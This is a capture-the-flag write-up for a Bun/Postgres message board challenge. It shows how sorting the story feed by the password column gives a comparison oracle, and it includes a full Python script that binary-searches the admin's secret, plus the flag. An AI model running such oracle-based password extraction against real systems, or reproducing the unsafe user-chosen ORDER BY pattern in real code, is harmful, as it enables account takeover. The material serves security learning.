messageboard
Challenge
I left a little message for only my closest friends :)
Endpoint: https://<instance>.play.gaslightctf.cooking:1337
Source: messageboard.tar.zst
A Bun + Postgres message board. Every seeded user gets a secret
(crypto.getRandomValues(new Uint8Array(8)).toHex()) which doubles as their
login password. The admin's close_friends story is the flag, only visible
to alice/carol/dave — so we must log in as admin.
Source analysis
const secret = () => crypto.getRandomValues(new Uint8Array(8)).toHex();
// ...
seeds: admin { closeFriends: process.env.FLAG, closeFriendsList: [class="hljs-string">"alice",class="hljs-string">"carol",class="hljs-string">"dave"] },
bob { secret: class="hljs-string">"iamthebuilder", ... },class="hljs-string">"/api/stories": {
async GET(req) {
const column = url.searchParams.get(class="hljs-string">"column") || class="hljs-string">"name";
const order = url.searchParams.get(class="hljs-string">"order") || class="hljs-string">"ASC";
if (!filter(column) || !filter(order)) return 400; // alphanumeric only
const publicStories = await query(`
SELECT name AS author, class="hljs-string">'public' AS visibility, ...
FROM users
WHERE public IS NOT NULL AND public_expiry > now()
ORDER BY ${column} ${order}`);
const cfStories = await query(`
SELECT name AS author, class="hljs-string">'close_friends' AS visibility, ...
FROM users
WHERE close_friends IS NOT NULL AND close_friends_expiry > now()
AND (close_friends_list @> ARRAY[class="hljs-string">'${name}'] OR name = class="hljs-string">'${name}')
ORDER BY ${column} ${order}`);
return Response.json([...publicStories, ...cfStories]);The filter whitelist (alphanumeric) blocks classic SQL injection into the
ORDER BY ${column} — but it does not stop us from choosing column=secret.
The query then sorts the public feed by each author's login password, and
/api/stories returns every author's name. That gives us a compare oracle on
admin's secret.
Side channel: ordering by the password column
Anyone can register (INSERT INTO users (name, secret) VALUES ('${name}','${password}'))
and post a public story. So:
- Sign up a probe user whose password is a 16-hex string of our choosing.
- Post a public story so they appear in the public feed.
- Fetch
/api/stories?column=secret&order=ASCand check whetheradminappears before the probe user.
admin sorts before the probe ⇔ admin.secret < probe.secret (16 lowercase
hex chars, so text order == numeric order).
Exploit: binary search the 64-bit secret
Search for the "flip point": the smallest value X with probe(X) false
(admin ≥ X) and probe(X+1) true (admin < X+1) ⇒ X == admin.secret.
import requests, urllib3, uuid
urllib3.disable_warnings()
BASE = class="hljs-string">"https://<instance>.play.gaslightctf.cooking:1337"
s = requests.Session(); s.verify = False
s.post(BASE+class="hljs-string">"/api/login", json={class="hljs-string">"name":class="hljs-string">"bob",class="hljs-string">"password":class="hljs-string">"iamthebuilder"})
def query_pub():
rows = s.get(BASE+class="hljs-string">"/api/stories", params={class="hljs-string">"column":class="hljs-string">"secret",class="hljs-string">"order":class="hljs-string">"ASC"}).json()
return [x[class="hljs-string">"author"] for x in rows if x[class="hljs-string">"visibility"]==class="hljs-string">"public"]
def probe(secret_str):
name = class="hljs-string">"p" + uuid.uuid4().hex[:8]
assert s.post(BASE+class="hljs-string">"/api/signup", json={class="hljs-string">"name":name, class="hljs-string">"password":secret_str}).status_code == 200
assert s.post(BASE+class="hljs-string">"/api/stories", json={class="hljs-string">"story":class="hljs-string">"q",class="hljs-string">"visibility":class="hljs-string">"public",class="hljs-string">"minutes":1440}).status_code == 200
pub = query_pub()
return pub.index(class="hljs-string">"admin") < pub.index(name) # True => admin < probe secret
def tohex(v): return fclass="hljs-string">"{v:016x}"
lo, hi = 0, 16**16
while hi - lo > 1:
mid = (lo + hi) // 2
if probe(tohex(mid)): hi = mid
else: lo = mid
cand = lo
while probe(tohex(cand)): # walk back off any overshoot
cand -= 1
while not probe(tohex(cand + 1)):# pin to the flip point
cand += 1
print(class="hljs-string">"admin secret:", tohex(cand))Gotcha: a plain midpoint binary search can overshoot by 1. When a probe's
password equals admin's secret, Postgres returns ties in an unstable order, so
probe(X) may report "admin < X" for the true value X and push the search past
it. The final "walk to the flip point" pass fixes this.
Flag
gaslightCTF{ar3_y0u_my_cl0s3_fr13nd_n0w?_5d9a2eb1e163}